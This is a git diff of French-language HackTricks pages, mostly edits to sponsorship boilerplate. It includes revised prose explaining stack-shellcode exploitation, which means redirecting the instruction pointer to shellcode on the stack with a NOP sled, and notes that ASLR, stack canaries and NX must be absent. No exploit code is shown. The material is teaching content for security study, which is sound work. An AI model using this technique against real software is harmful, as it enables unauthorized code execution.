D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Le shellcode de la pile** est une technique utilisée dans l'exploitation binaire où un attaquant écrit un shellcode dans la pile d'un programme vulnérable, puis modifie le **Pointeur d'Instruction (IP)** ou le **Pointeur d'Instruction Étendu (EIP)** pour pointer vers l'emplacement de ce shellcode, le forçant à s'exécuter. Il s'agit d'une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire une exploitation correspondante en utilisant Python avec **pwntools**.
|
||||
Le **shellcode de la pile** est une technique utilisée dans l'exploitation binaire où un attaquant écrit un shellcode dans la pile d'un programme vulnérable, puis modifie le **Pointeur d'Instruction (IP)** ou le **Pointeur d'Instruction Étendu (EIP)** pour pointer vers l'emplacement de ce shellcode, le forçant à s'exécuter. Il s'agit d'une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire une exploitation correspondante en utilisant Python avec **pwntools**.
|
||||
|
||||
### Exemple en C : Un programme vulnérable
|
||||
|
||||
|
|
@ -84,9 +84,9 @@ Le **glissement NOP** (`asm('nop')`) est utilisé pour augmenter les chances que
|
|||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **devrait être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.
|
||||
* Les [**Canaris de la pile**](../common-binary-protections/stack-canaries.md) devraient également être désactivés, sinon l'adresse de retour EIP compromise ne sera jamais suivie.
|
||||
* [**NX**](../common-binary-protections/no-exec-nx.md) La protection de la **pile** empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **devrait être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.
|
||||
* Les [**Canaris de la pile**](../common-binary-protections-and-bypasses/stack-canaries/) devraient également être désactivés, sinon l'adresse de retour EIP compromise ne sera jamais suivie.
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) La protection de la **pile** empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
|
||||
|
||||
## Autres exemples
|
||||
|
||||
|
|
@ -96,12 +96,12 @@ Le **glissement NOP** (`asm('nop')`) est utilisé pour augmenter les chances que
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue